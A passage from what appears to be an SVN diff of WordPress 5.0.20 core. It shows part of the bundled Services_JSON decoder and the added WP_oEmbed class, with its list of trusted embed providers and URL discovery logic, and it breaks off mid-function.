+                            case ($ord_chrs_c & 0xFC) == 0xF8:
+                                // characters U-00200000 - U-03FFFFFF, mask 111110XX
+                                // see http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8
+                                $utf8 .= $this->substr8($chrs, $c, 5);
+                                $c += 4;
+                                break;
+
+                            case ($ord_chrs_c & 0xFE) == 0xFC:
+                                // characters U-04000000 - U-7FFFFFFF, mask 1111110X
+                                // see http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8
+                                $utf8 .= $this->substr8($chrs, $c, 6);
+                                $c += 5;
+                                break;
+
+                        }
+
+                    }
+
+                    return $utf8;
+
+                } elseif (preg_match('/^\[.*\]$/s', $str) || preg_match('/^\{.*\}$/s', $str)) {
+                    // array, or object notation
+
+                    if ($str{0} == '[') {
+                        $stk = array(SERVICES_JSON_IN_ARR);
+                        $arr = array();
+                    } else {
+                        if ($this->use & SERVICES_JSON_LOOSE_TYPE) {
+                            $stk = array(SERVICES_JSON_IN_OBJ);
+                            $obj = array();
+                        } else {
+                            $stk = array(SERVICES_JSON_IN_OBJ);
+                            $obj = new stdClass();
+                        }
+                    }
+
+                    array_push($stk, array('what'  => SERVICES_JSON_SLICE,
+                                           'where' => 0,
+                                           'delim' => false));
+
+                    $chrs = $this->substr8($str, 1, -1);
+                    $chrs = $this->reduce_string($chrs);
+
+                    if ($chrs == '') {
+                        if (reset($stk) == SERVICES_JSON_IN_ARR) {
+                            return $arr;
+
+                        } else {
+                            return $obj;
+
+                        }
+                    }
+
+                    //print("\nparsing {$chrs}\n");
+
+                    $strlen_chrs = $this->strlen8($chrs);
+
+                    for ($c = 0; $c <= $strlen_chrs; ++$c) {
+
+                        $top = end($stk);
+                        $substr_chrs_c_2 = $this->substr8($chrs, $c, 2);
+
+                        if (($c == $strlen_chrs) || (($chrs{$c} == ',') && ($top['what'] == SERVICES_JSON_SLICE))) {
+                            // found a comma that is not inside a string, array, etc.,
+                            // OR we've reached the end of the character list
+                            $slice = $this->substr8($chrs, $top['where'], ($c - $top['where']));
+                            array_push($stk, array('what' => SERVICES_JSON_SLICE, 'where' => ($c + 1), 'delim' => false));
+                            //print("Found split at {$c}: ".$this->substr8($chrs, $top['where'], (1 + $c - $top['where']))."\n");
+
+                            if (reset($stk) == SERVICES_JSON_IN_ARR) {
+                                // we are in an array, so just push an element onto the stack
+                                array_push($arr, $this->decode($slice));
+
+                            } elseif (reset($stk) == SERVICES_JSON_IN_OBJ) {
+                                // we are in an object, so figure
+                                // out the property name and set an
+                                // element in an associative array,
+                                // for now
+                                $parts = array();
+                                
+                               if (preg_match('/^\s*(["\'].*[^\\\]["\'])\s*:/Uis', $slice, $parts)) {
+ 	                              // "name":value pair
+                                    $key = $this->decode($parts[1]);
+                                    $val = $this->decode(trim(substr($slice, strlen($parts[0])), ", \t\n\r\0\x0B"));
+                                    if ($this->use & SERVICES_JSON_LOOSE_TYPE) {
+                                        $obj[$key] = $val;
+                                    } else {
+                                        $obj->$key = $val;
+                                    }
+                                } elseif (preg_match('/^\s*(\w+)\s*:/Uis', $slice, $parts)) {
+                                    // name:value pair, where name is unquoted
+                                    $key = $parts[1];
+                                    $val = $this->decode(trim(substr($slice, strlen($parts[0])), ", \t\n\r\0\x0B"));
+
+                                    if ($this->use & SERVICES_JSON_LOOSE_TYPE) {
+                                        $obj[$key] = $val;
+                                    } else {
+                                        $obj->$key = $val;
+                                    }
+                                }
+
+                            }
+
+                        } elseif ((($chrs{$c} == '"') || ($chrs{$c} == "'")) && ($top['what'] != SERVICES_JSON_IN_STR)) {
+                            // found a quote, and we are not inside a string
+                            array_push($stk, array('what' => SERVICES_JSON_IN_STR, 'where' => $c, 'delim' => $chrs{$c}));
+                            //print("Found start of string at {$c}\n");
+
+                        } elseif (($chrs{$c} == $top['delim']) &&
+                                 ($top['what'] == SERVICES_JSON_IN_STR) &&
+                                 (($this->strlen8($this->substr8($chrs, 0, $c)) - $this->strlen8(rtrim($this->substr8($chrs, 0, $c), '\\'))) % 2 != 1)) {
+                            // found a quote, we're in a string, and it's not escaped
+                            // we know that it's not escaped becase there is _not_ an
+                            // odd number of backslashes at the end of the string so far
+                            array_pop($stk);
+                            //print("Found end of string at {$c}: ".$this->substr8($chrs, $top['where'], (1 + 1 + $c - $top['where']))."\n");
+
+                        } elseif (($chrs{$c} == '[') &&
+                                 in_array($top['what'], array(SERVICES_JSON_SLICE, SERVICES_JSON_IN_ARR, SERVICES_JSON_IN_OBJ))) {
+                            // found a left-bracket, and we are in an array, object, or slice
+                            array_push($stk, array('what' => SERVICES_JSON_IN_ARR, 'where' => $c, 'delim' => false));
+                            //print("Found start of array at {$c}\n");
+
+                        } elseif (($chrs{$c} == ']') && ($top['what'] == SERVICES_JSON_IN_ARR)) {
+                            // found a right-bracket, and we're in an array
+                            array_pop($stk);
+                            //print("Found end of array at {$c}: ".$this->substr8($chrs, $top['where'], (1 + $c - $top['where']))."\n");
+
+                        } elseif (($chrs{$c} == '{') &&
+                                 in_array($top['what'], array(SERVICES_JSON_SLICE, SERVICES_JSON_IN_ARR, SERVICES_JSON_IN_OBJ))) {
+                            // found a left-brace, and we are in an array, object, or slice
+                            array_push($stk, array('what' => SERVICES_JSON_IN_OBJ, 'where' => $c, 'delim' => false));
+                            //print("Found start of object at {$c}\n");
+
+                        } elseif (($chrs{$c} == '}') && ($top['what'] == SERVICES_JSON_IN_OBJ)) {
+                            // found a right-brace, and we're in an object
+                            array_pop($stk);
+                            //print("Found end of object at {$c}: ".$this->substr8($chrs, $top['where'], (1 + $c - $top['where']))."\n");
+
+                        } elseif (($substr_chrs_c_2 == '/*') &&
+                                 in_array($top['what'], array(SERVICES_JSON_SLICE, SERVICES_JSON_IN_ARR, SERVICES_JSON_IN_OBJ))) {
+                            // found a comment start, and we are in an array, object, or slice
+                            array_push($stk, array('what' => SERVICES_JSON_IN_CMT, 'where' => $c, 'delim' => false));
+                            $c++;
+                            //print("Found start of comment at {$c}\n");
+
+                        } elseif (($substr_chrs_c_2 == '*/') && ($top['what'] == SERVICES_JSON_IN_CMT)) {
+                            // found a comment end, and we're in one now
+                            array_pop($stk);
+                            $c++;
+
+                            for ($i = $top['where']; $i <= $c; ++$i)
+                                $chrs = substr_replace($chrs, ' ', $i, 1);
+
+                            //print("Found end of comment at {$c}: ".$this->substr8($chrs, $top['where'], (1 + $c - $top['where']))."\n");
+
+                        }
+
+                    }
+
+                    if (reset($stk) == SERVICES_JSON_IN_ARR) {
+                        return $arr;
+
+                    } elseif (reset($stk) == SERVICES_JSON_IN_OBJ) {
+                        return $obj;
+
+                    }
+
+                }
+        }
+    }
+
+    /**
+     * @todo Ultimately, this should just call PEAR::isError()
+     */
+    function isError($data, $code = null)
+    {
+        if (class_exists('pear')) {
+            return PEAR::isError($data, $code);
+        } elseif (is_object($data) && (get_class($data) == 'services_json_error' ||
+                                 is_subclass_of($data, 'services_json_error'))) {
+            return true;
+        }
+
+        return false;
+    }
+    
+    /**
+    * Calculates length of string in bytes
+    * @param string 
+    * @return integer length
+    */
+    function strlen8( $str ) 
+    {
+        if ( $this->_mb_strlen ) {
+            return mb_strlen( $str, "8bit" );
+        }
+        return strlen( $str );
+    }
+    
+    /**
+    * Returns part of a string, interpreting $start and $length as number of bytes.
+    * @param string 
+    * @param integer start 
+    * @param integer length 
+    * @return integer length
+    */
+    function substr8( $string, $start, $length=false ) 
+    {
+        if ( $length === false ) {
+            $length = $this->strlen8( $string ) - $start;
+        }
+        if ( $this->_mb_substr ) {
+            return mb_substr( $string, $start, $length, "8bit" );
+        }
+        return substr( $string, $start, $length );
+    }
+
+}
+
+if (class_exists('PEAR_Error')) {
+
+    class Services_JSON_Error extends PEAR_Error
+    {
+        function __construct($message = 'unknown error', $code = null,
+                                     $mode = null, $options = null, $userinfo = null)
+        {
+            parent::PEAR_Error($message, $code, $mode, $options, $userinfo);
+        }
+
+	public function Services_JSON_Error($message = 'unknown error', $code = null,
+                                     $mode = null, $options = null, $userinfo = null) {
+		self::__construct($message = 'unknown error', $code = null,
+                                     $mode = null, $options = null, $userinfo = null);
+	}
+    }
+
+} else {
+
+    /**
+     * @todo Ultimately, this class shall be descended from PEAR_Error
+     */
+    class Services_JSON_Error
+    {
+	    /**
+	     * PHP5 constructor.
+	     */
+        function __construct( $message = 'unknown error', $code = null,
+                                     $mode = null, $options = null, $userinfo = null )
+        {
+
+        }
+
+	    /**
+	     * PHP4 constructor.
+	     */
+		public function Services_JSON_Error( $message = 'unknown error', $code = null,
+	                                     $mode = null, $options = null, $userinfo = null ) {
+			self::__construct( $message, $code, $mode, $options, $userinfo );
+		}
+    }
+    
+}
+
+endif;
Index: /tags/5.0.20/src/wp-includes/class-oembed.php
===================================================================
--- /tags/5.0.20/src/wp-includes/class-oembed.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/class-oembed.php	(revision 56912)
@@ -0,0 +1,728 @@
+<?php
+/**
+ * API for fetching the HTML to embed remote content based on a provided URL
+ *
+ * Used internally by the WP_Embed class, but is designed to be generic.
+ *
+ * @link https://codex.wordpress.org/oEmbed oEmbed Codex Article
+ * @link http://oembed.com/ oEmbed Homepage
+ *
+ * @package WordPress
+ * @subpackage oEmbed
+ */
+
+/**
+ * Core class used to implement oEmbed functionality.
+ *
+ * @since 2.9.0
+ */
+class WP_oEmbed {
+
+	/**
+	 * A list of oEmbed providers.
+	 *
+	 * @since 2.9.0
+	 * @var array
+	 */
+	public $providers = array();
+
+	/**
+	 * A list of an early oEmbed providers.
+	 *
+	 * @since 4.0.0
+	 * @static
+	 * @var array
+	 */
+	public static $early_providers = array();
+
+	/**
+	 * A list of private/protected methods, used for backward compatibility.
+	 *
+	 * @since 4.2.0
+	 * @var array
+	 */
+	private $compat_methods = array( '_fetch_with_format', '_parse_json', '_parse_xml', '_parse_xml_body' );
+
+	/**
+	 * Constructor.
+	 *
+	 * @since 2.9.0
+	 */
+	public function __construct() {
+		$host = urlencode( home_url() );
+		$providers = array(
+			'#https?://((m|www)\.)?youtube\.com/watch.*#i'                        => array( 'https://www.youtube.com/oembed',                        true  ),
+			'#https?://((m|www)\.)?youtube\.com/playlist.*#i'                     => array( 'https://www.youtube.com/oembed',                        true  ),
+			'#https?://youtu\.be/.*#i'                                            => array( 'https://www.youtube.com/oembed',                        true  ),
+			'#https?://(.+\.)?vimeo\.com/.*#i'                                    => array( 'https://vimeo.com/api/oembed.{format}',                 true  ),
+			'#https?://(www\.)?dailymotion\.com/.*#i'                             => array( 'https://www.dailymotion.com/services/oembed',           true  ),
+			'#https?://dai\.ly/.*#i'                                              => array( 'https://www.dailymotion.com/services/oembed',           true  ),
+			'#https?://(www\.)?flickr\.com/.*#i'                                  => array( 'https://www.flickr.com/services/oembed/',               true  ),
+			'#https?://flic\.kr/.*#i'                                             => array( 'https://www.flickr.com/services/oembed/',               true  ),
+			'#https?://(.+\.)?smugmug\.com/.*#i'                                  => array( 'https://api.smugmug.com/services/oembed/',              true  ),
+			'#https?://(www\.)?hulu\.com/watch/.*#i'                              => array( 'http://www.hulu.com/api/oembed.{format}',               true  ),
+			'http://i*.photobucket.com/albums/*'                                  => array( 'http://api.photobucket.com/oembed',                     false ),
+			'http://gi*.photobucket.com/groups/*'                                 => array( 'http://api.photobucket.com/oembed',                     false ),
+			'#https?://(www\.)?scribd\.com/doc/.*#i'                              => array( 'https://www.scribd.com/services/oembed',                true  ),
+			'#https?://wordpress\.tv/.*#i'                                        => array( 'https://wordpress.tv/oembed/',                          true  ),
+			'#https?://(.+\.)?polldaddy\.com/.*#i'                                => array( 'https://polldaddy.com/oembed/',                         true  ),
+			'#https?://poll\.fm/.*#i'                                             => array( 'https://polldaddy.com/oembed/',                         true  ),
+			'#https?://(www\.)?funnyordie\.com/videos/.*#i'                       => array( 'http://www.funnyordie.com/oembed',                      true  ),
+			'#https?://(www\.)?twitter\.com/\w{1,15}/status(es)?/.*#i'            => array( 'https://publish.twitter.com/oembed',                    true  ),
+			'#https?://(www\.)?twitter\.com/\w{1,15}$#i'                          => array( 'https://publish.twitter.com/oembed',                    true  ),
+			'#https?://(www\.)?twitter\.com/\w{1,15}/likes$#i'                    => array( 'https://publish.twitter.com/oembed',                    true  ),
+			'#https?://(www\.)?twitter\.com/\w{1,15}/lists/.*#i'                  => array( 'https://publish.twitter.com/oembed',                    true  ),
+			'#https?://(www\.)?twitter\.com/\w{1,15}/timelines/.*#i'              => array( 'https://publish.twitter.com/oembed',                    true  ),
+			'#https?://(www\.)?twitter\.com/i/moments/.*#i'                       => array( 'https://publish.twitter.com/oembed',                    true  ),
+			'#https?://(www\.)?soundcloud\.com/.*#i'                              => array( 'https://soundcloud.com/oembed',                         true  ),
+			'#https?://(.+?\.)?slideshare\.net/.*#i'                              => array( 'https://www.slideshare.net/api/oembed/2',               true  ),
+			'#https?://(www\.)?instagr(\.am|am\.com)/p/.*#i'                      => array( 'https://api.instagram.com/oembed',                      true  ),
+			'#https?://(open|play)\.spotify\.com/.*#i'                            => array( 'https://embed.spotify.com/oembed/',                     true  ),
+			'#https?://(.+\.)?imgur\.com/.*#i'                                    => array( 'https://api.imgur.com/oembed',                          true  ),
+			'#https?://(www\.)?meetu(\.ps|p\.com)/.*#i'                           => array( 'https://api.meetup.com/oembed',                         true  ),
+			'#https?://(www\.)?issuu\.com/.+/docs/.+#i'                           => array( 'https://issuu.com/oembed_wp',                           true  ),
+			'#https?://(www\.)?collegehumor\.com/video/.*#i'                      => array( 'https://www.collegehumor.com/oembed.{format}',          true  ),
+			'#https?://(www\.)?mixcloud\.com/.*#i'                                => array( 'https://www.mixcloud.com/oembed',                       true  ),
+			'#https?://(www\.|embed\.)?ted\.com/talks/.*#i'                       => array( 'https://www.ted.com/services/v1/oembed.{format}',       true  ),
+			'#https?://(www\.)?(animoto|video214)\.com/play/.*#i'                 => array( 'https://animoto.com/oembeds/create',                    true  ),
+			'#https?://(.+)\.tumblr\.com/post/.*#i'                               => array( 'https://www.tumblr.com/oembed/1.0',                     true  ),
+			'#https?://(www\.)?kickstarter\.com/projects/.*#i'                    => array( 'https://www.kickstarter.com/services/oembed',           true  ),
+			'#https?://kck\.st/.*#i'                                              => array( 'https://www.kickstarter.com/services/oembed',           true  ),
+			'#https?://cloudup\.com/.*#i'                                         => array( 'https://cloudup.com/oembed',                            true  ),
+			'#https?://(www\.)?reverbnation\.com/.*#i'                            => array( 'https://www.reverbnation.com/oembed',                   true  ),
+			'#https?://videopress\.com/v/.*#'                                     => array( 'https://public-api.wordpress.com/oembed/?for=' . $host, true  ),
+			'#https?://(www\.)?reddit\.com/r/[^/]+/comments/.*#i'                 => array( 'https://www.reddit.com/oembed',                         true  ),
+			'#https?://(www\.)?speakerdeck\.com/.*#i'                             => array( 'https://speakerdeck.com/oembed.{format}',               true  ),
+			'#https?://www\.facebook\.com/.*/posts/.*#i'                          => array( 'https://www.facebook.com/plugins/post/oembed.json/',    true  ),
+			'#https?://www\.facebook\.com/.*/activity/.*#i'                       => array( 'https://www.facebook.com/plugins/post/oembed.json/',    true  ),
+			'#https?://www\.facebook\.com/.*/photos/.*#i'                         => array( 'https://www.facebook.com/plugins/post/oembed.json/',    true  ),
+			'#https?://www\.facebook\.com/photo(s/|\.php).*#i'                    => array( 'https://www.facebook.com/plugins/post/oembed.json/',    true  ),
+			'#https?://www\.facebook\.com/permalink\.php.*#i'                     => array( 'https://www.facebook.com/plugins/post/oembed.json/',    true  ),
+			'#https?://www\.facebook\.com/media/.*#i'                             => array( 'https://www.facebook.com/plugins/post/oembed.json/',    true  ),
+			'#https?://www\.facebook\.com/questions/.*#i'                         => array( 'https://www.facebook.com/plugins/post/oembed.json/',    true  ),
+			'#https?://www\.facebook\.com/notes/.*#i'                             => array( 'https://www.facebook.com/plugins/post/oembed.json/',    true  ),
+			'#https?://www\.facebook\.com/.*/videos/.*#i'                         => array( 'https://www.facebook.com/plugins/video/oembed.json/',   true  ),
+			'#https?://www\.facebook\.com/video\.php.*#i'                         => array( 'https://www.facebook.com/plugins/video/oembed.json/',   true  ),
+			'#https?://(www\.)?screencast\.com/.*#i'                              => array( 'https://api.screencast.com/external/oembed',            true  ),
+			'#https?://([a-z0-9-]+\.)?amazon\.(com|com\.mx|com\.br|ca)/.*#i'      => array( 'https://read.amazon.com/kp/api/oembed',                 true  ),
+			'#https?://([a-z0-9-]+\.)?amazon\.(co\.uk|de|fr|it|es|in|nl|ru)/.*#i' => array( 'https://read.amazon.co.uk/kp/api/oembed',               true  ),
+			'#https?://([a-z0-9-]+\.)?amazon\.(co\.jp|com\.au)/.*#i'              => array( 'https://read.amazon.com.au/kp/api/oembed',              true  ),
+			'#https?://([a-z0-9-]+\.)?amazon\.cn/.*#i'                            => array( 'https://read.amazon.cn/kp/api/oembed',                  true  ),
+			'#https?://(www\.)?a\.co/.*#i'                                        => array( 'https://read.amazon.com/kp/api/oembed',                 true  ),
+			'#https?://(www\.)?amzn\.to/.*#i'                                     => array( 'https://read.amazon.com/kp/api/oembed',                 true  ),
+			'#https?://(www\.)?amzn\.eu/.*#i'                                     => array( 'https://read.amazon.co.uk/kp/api/oembed',               true  ),
+			'#https?://(www\.)?amzn\.in/.*#i'                                     => array( 'https://read.amazon.in/kp/api/oembed',                  true  ),
+			'#https?://(www\.)?amzn\.asia/.*#i'                                   => array( 'https://read.amazon.com.au/kp/api/oembed',              true  ),
+			'#https?://(www\.)?z\.cn/.*#i'                                        => array( 'https://read.amazon.cn/kp/api/oembed',                  true  ),
+			'#https?://www\.someecards\.com/.+-cards/.+#i'                        => array( 'https://www.someecards.com/v2/oembed/',                 true  ),
+			'#https?://www\.someecards\.com/usercards/viewcard/.+#i'              => array( 'https://www.someecards.com/v2/oembed/',                 true  ),
+			'#https?://some\.ly\/.+#i'                                            => array( 'https://www.someecards.com/v2/oembed/',                 true  ),
+		);
+
+		if ( ! empty( self::$early_providers['add'] ) ) {
+			foreach ( self::$early_providers['add'] as $format => $data ) {
+				$providers[ $format ] = $data;
+			}
+		}
+
+		if ( ! empty( self::$early_providers['remove'] ) ) {
+			foreach ( self::$early_providers['remove'] as $format ) {
+				unset( $providers[ $format ] );
+			}
+		}
+
+		self::$early_providers = array();
+
+		/**
+		 * Filters the list of whitelisted oEmbed providers.
+		 *
+		 * Since WordPress 4.4, oEmbed discovery is enabled for all users and allows embedding of sanitized
+		 * iframes. The providers in this list are whitelisted, meaning they are trusted and allowed to
+		 * embed any content, such as iframes, videos, JavaScript, and arbitrary HTML.
+		 *
+		 * Supported providers:
+		 *
+		 * |   Provider   |              Flavor               | Supports HTTPS |  Since  |
+		 * | ------------ | --------------------------------- | :------------: | ------- |
+		 * | Dailymotion  | dailymotion.com                   |      Yes       | 2.9.0   |
+		 * | Flickr       | flickr.com                        |      Yes       | 2.9.0   |
+		 * | Hulu         | hulu.com                          |      Yes       | 2.9.0   |
+		 * | Photobucket  | photobucket.com                   |      No        | 2.9.0   |
+		 * | Scribd       | scribd.com                        |      Yes       | 2.9.0   |
+		 * | Vimeo        | vimeo.com                         |      Yes       | 2.9.0   |
+		 * | WordPress.tv | wordpress.tv                      |      Yes       | 2.9.0   |
+		 * | YouTube      | youtube.com/watch                 |      Yes       | 2.9.0   |
+		 * | Funny or Die | funnyordie.com                    |      Yes       | 3.0.0   |
+		 * | Polldaddy    | polldaddy.com                     |      Yes       | 3.0.0   |
+		 * | SmugMug      | smugmug.com                       |      Yes       | 3.0.0   |
+		 * | YouTube      | youtu.be                          |      Yes       | 3.0.0   |
+		 * | Twitter      | twitter.com                       |      Yes       | 3.4.0   |
+		 * | Instagram    | instagram.com                     |      Yes       | 3.5.0   |
+		 * | Instagram    | instagr.am                        |      Yes       | 3.5.0   |
+		 * | Slideshare   | slideshare.net                    |      Yes       | 3.5.0   |
+		 * | SoundCloud   | soundcloud.com                    |      Yes       | 3.5.0   |
+		 * | Dailymotion  | dai.ly                            |      Yes       | 3.6.0   |
+		 * | Flickr       | flic.kr                           |      Yes       | 3.6.0   |
+		 * | Spotify      | spotify.com                       |      Yes       | 3.6.0   |
+		 * | Imgur        | imgur.com                         |      Yes       | 3.9.0   |
+		 * | Meetup.com   | meetup.com                        |      Yes       | 3.9.0   |
+		 * | Meetup.com   | meetu.ps                          |      Yes       | 3.9.0   |
+		 * | Animoto      | animoto.com                       |      Yes       | 4.0.0   |
+		 * | Animoto      | video214.com                      |      Yes       | 4.0.0   |
+		 * | CollegeHumor | collegehumor.com                  |      Yes       | 4.0.0   |
+		 * | Issuu        | issuu.com                         |      Yes       | 4.0.0   |
+		 * | Mixcloud     | mixcloud.com                      |      Yes       | 4.0.0   |
+		 * | Polldaddy    | poll.fm                           |      Yes       | 4.0.0   |
+		 * | TED          | ted.com                           |      Yes       | 4.0.0   |
+		 * | YouTube      | youtube.com/playlist              |      Yes       | 4.0.0   |
+		 * | Tumblr       | tumblr.com                        |      Yes       | 4.2.0   |
+		 * | Kickstarter  | kickstarter.com                   |      Yes       | 4.2.0   |
+		 * | Kickstarter  | kck.st                            |      Yes       | 4.2.0   |
+		 * | Cloudup      | cloudup.com                       |      Yes       | 4.3.0   |
+		 * | ReverbNation | reverbnation.com                  |      Yes       | 4.4.0   |
+		 * | VideoPress   | videopress.com                    |      Yes       | 4.4.0   |
+		 * | Reddit       | reddit.com                        |      Yes       | 4.4.0   |
+		 * | Speaker Deck | speakerdeck.com                   |      Yes       | 4.4.0   |
+		 * | Twitter      | twitter.com/timelines             |      Yes       | 4.5.0   |
+		 * | Twitter      | twitter.com/moments               |      Yes       | 4.5.0   |
+		 * | Facebook     | facebook.com                      |      Yes       | 4.7.0   |
+		 * | Twitter      | twitter.com/user                  |      Yes       | 4.7.0   |
+		 * | Twitter      | twitter.com/likes                 |      Yes       | 4.7.0   |
+		 * | Twitter      | twitter.com/lists                 |      Yes       | 4.7.0   |
+		 * | Screencast   | screencast.com                    |      Yes       | 4.8.0   |
+		 * | Amazon       | amazon.com|com.mx|com.br|ca       |      Yes       | 4.9.0   |
+		 * | Amazon       | amazon.de|fr|it|es|in|nl|ru|co.uk |      Yes       | 4.9.0   |
+		 * | Amazon       | amazon.co.jp|com.au               |      Yes       | 4.9.0   |
+		 * | Amazon       | amazon.cn                         |      Yes       | 4.9.0   |
+		 * | Amazon       | a.co                              |      Yes       | 4.9.0   |
+		 * | Amazon       | amzn.to|eu|in|asia                |      Yes       | 4.9.0   |
+		 * | Amazon       | z.cn                              |      Yes       | 4.9.0   |
+		 * | Someecards   | someecards.com                    |      Yes       | 4.9.0   |
+		 * | Someecards   | some.ly                           |      Yes       | 4.9.0   |
+		 *
+		 * No longer supported providers:
+		 *
+		 * |   Provider   |        Flavor        | Supports HTTPS |   Since   |  Removed  |
+		 * | ------------ | -------------------- | :------------: | --------- | --------- |
+		 * | Qik          | qik.com              |      Yes       | 2.9.0     | 3.9.0     |
+		 * | Viddler      | viddler.com          |      Yes       | 2.9.0     | 4.0.0     |
+		 * | Revision3    | revision3.com        |      No        | 2.9.0     | 4.2.0     |
+		 * | Blip         | blip.tv              |      No        | 2.9.0     | 4.4.0     |
+		 * | Rdio         | rdio.com             |      Yes       | 3.6.0     | 4.4.1     |
+		 * | Rdio         | rd.io                |      Yes       | 3.6.0     | 4.4.1     |
+		 * | Vine         | vine.co              |      Yes       | 4.1.0     | 4.9.0     |
+		 *
+		 * @see wp_oembed_add_provider()
+		 *
+		 * @since 2.9.0
+		 *
+		 * @param array $providers An array of popular oEmbed providers.
+		 */
+		$this->providers = apply_filters( 'oembed_providers', $providers );
+
+		// Fix any embeds that contain new lines in the middle of the HTML which breaks wpautop().
+		add_filter( 'oembed_dataparse', array($this, '_strip_newlines'), 10, 3 );
+	}
+
+	/**
+	 * Exposes private/protected methods for backward compatibility.
+	 *
+	 * @since 4.0.0
+	 *
+	 * @param callable $name      Method to call.
+	 * @param array    $arguments Arguments to pass when calling.
+	 * @return mixed|bool Return value of the callback, false otherwise.
+	 */
+	public function __call( $name, $arguments ) {
+		if ( in_array( $name, $this->compat_methods ) ) {
+			return call_user_func_array( array( $this, $name ), $arguments );
+		}
+		return false;
+	}
+
+	/**
+	 * Takes a URL and returns the corresponding oEmbed provider's URL, if there is one.
+	 *
+	 * @since 4.0.0
+	 *
+	 * @see WP_oEmbed::discover()
+	 *
+	 * @param string        $url  The URL to the content.
+	 * @param string|array  $args Optional provider arguments.
+	 * @return false|string False on failure, otherwise the oEmbed provider URL.
+	 */
+	public function get_provider( $url, $args = '' ) {
+		$args = wp_parse_args( $args );
+
+		$provider = false;
+
+		if ( !isset($args['discover']) )
+			$args['discover'] = true;
+
+		foreach ( $this->providers as $matchmask => $data ) {
+			list( $providerurl, $regex ) = $data;
+
+			// Turn the asterisk-type provider URLs into regex
+			if ( !$regex ) {
+				$matchmask = '#' . str_replace( '___wildcard___', '(.+)', preg_quote( str_replace( '*', '___wildcard___', $matchmask ), '#' ) ) . '#i';
+				$matchmask = preg_replace( '|^#http\\\://|', '#https?\://', $matchmask );
+			}
+
+			if ( preg_match( $matchmask, $url ) ) {
+				$provider = str_replace( '{format}', 'json', $providerurl ); // JSON is easier to deal with than XML
+				break;
+			}
+		}
+
+		if ( !$provider && $args['discover'] )
+			$provider = $this->discover( $url );
+
+		return $provider;
+	}
+
+	/**
+	 * Adds an oEmbed provider.
+	 *
+	 * The provider is added just-in-time when wp_oembed_add_provider() is called before
+	 * the {@see 'plugins_loaded'} hook.
+	 *
+	 * The just-in-time addition is for the benefit of the {@see 'oembed_providers'} filter.
+	 *
+	 * @static
+	 * @since 4.0.0
+	 *
+	 * @see wp_oembed_add_provider()
+	 *
+	 * @param string $format   Format of URL that this provider can handle. You can use
+	 *                         asterisks as wildcards.
+	 * @param string $provider The URL to the oEmbed provider..
+	 * @param bool   $regex    Optional. Whether the $format parameter is in a regex format.
+	 *                         Default false.
+	 */
+	public static function _add_provider_early( $format, $provider, $regex = false ) {
+		if ( empty( self::$early_providers['add'] ) ) {
+			self::$early_providers['add'] = array();
+		}
+
+		self::$early_providers['add'][ $format ] = array( $provider, $regex );
+	}
+
+	/**
+	 * Removes an oEmbed provider.
+	 *
+	 * The provider is removed just-in-time when wp_oembed_remove_provider() is called before
+	 * the {@see 'plugins_loaded'} hook.
+	 *
+	 * The just-in-time removal is for the benefit of the {@see 'oembed_providers'} filter.
+	 *
+	 * @since 4.0.0
+	 * @static
+	 *
+	 * @see wp_oembed_remove_provider()
+	 *
+	 * @param string $format The format of URL that this provider can handle. You can use
+	 *                       asterisks as wildcards.
+	 */
+	public static function _remove_provider_early( $format ) {
+		if ( empty( self::$early_providers['remove'] ) ) {
+			self::$early_providers['remove'] = array();
+		}
+
+		self::$early_providers['remove'][] = $format;
+	}
+
+	/**
+	 * Takes a URL and attempts to return the oEmbed data.
+	 *
+	 * @see WP_oEmbed::fetch()
+	 *
+	 * @since 4.8.0
+	 *
+	 * @param string       $url  The URL to the content that should be attempted to be embedded.
+	 * @param array|string $args Optional. Arguments, usually passed from a shortcode. Default empty.
+	 * @return false|object False on failure, otherwise the result in the form of an object.
+	 */
+	public function get_data( $url, $args = '' ) {
+		$args = wp_parse_args( $args );
+
+		$provider = $this->get_provider( $url, $args );
+
+		if ( ! $provider ) {
+			return false;
+		}
+
+		$data = $this->fetch( $provider, $url, $args );
+
+		if ( false === $data ) {
+			return false;
+		}
+
+		return $data;
+	}
+
+	/**
+	 * The do-it-all function that takes a URL and attempts to return the HTML.
+	 *
+	 * @see WP_oEmbed::fetch()
+	 * @see WP_oEmbed::data2html()
+	 *
+	 * @since 2.9.0
+	 *
+	 * @param string       $url  The URL to the content that should be attempted to be embedded.
+	 * @param array|string $args Optional. Arguments, usually passed from a shortcode. Default empty.
+	 * @return false|string False on failure, otherwise the UNSANITIZED (and potentially unsafe) HTML that should be used to embed.
+	 */
+	public function get_html( $url, $args = '' ) {
+		/**
+		 * Filters the oEmbed result before any HTTP requests are made.
+		 *
+		 * This allows one to short-circuit the default logic, perhaps by
+		 * replacing it with a routine that is more optimal for your setup.
+		 *
+		 * Passing a non-null value to the filter will effectively short-circuit retrieval,
+		 * returning the passed value instead.
+		 *
+		 * @since 4.5.3
+		 *
+		 * @param null|string $result The UNSANITIZED (and potentially unsafe) HTML that should be used to embed. Default null.
+		 * @param string      $url    The URL to the content that should be attempted to be embedded.
+		 * @param array       $args   Optional. Arguments, usually passed from a shortcode. Default empty.
+		 */
+		$pre = apply_filters( 'pre_oembed_result', null, $url, $args );
+
+		if ( null !== $pre ) {
+			return $pre;
+		}
+
+		$data = $this->get_data( $url, $args );
+
+		if ( false === $data ) {
+			return false;
+		}
+
+		/**
+		 * Filters the HTML returned by the oEmbed provider.
+		 *
+		 * @since 2.9.0
+		 *
+		 * @param string|false $data The returned oEmbed HTML (false if unsafe).
+		 * @param string       $url  URL of the content to be embedded.
+		 * @param array        $args Optional arguments, usually passed from a shortcode.
+		 */
+		return apply_filters( 'oembed_result', $this->data2html( $data, $url ), $url, $args );
+	}
+
+	/**
+	 * Attempts to discover link tags at the given URL for an oEmbed provider.
+	 *
+	 * @since 2.9.0
+	 *
+	 * @param string $url The URL that should be inspected for discovery `<link>` tags.
+	 * @return false|string False on failure, otherwise the oEmbed provider URL.
+	 */
+	public function discover( $url ) {
+		$providers = array();
+		$args = array(
+			'limit_response_size' => 153600, // 150 KB
+		);
+
+		/**
+		 * Filters oEmbed remote get arguments.
+		 *
+		 * @since 4.0.0
+		 *
+		 * @see WP_Http::request()
+		 *
+		 * @param array  $args oEmbed remote get arguments.
+		 * @param string $url  URL to be inspected.
+		 */
+		$args = apply_filters( 'oembed_remote_get_args', $args, $url );
+
+		// Fetch URL content
+		$request = wp_safe_remote_get( $url, $args );
+		if ( $html = wp_remote_retrieve_body( $request ) ) {
+
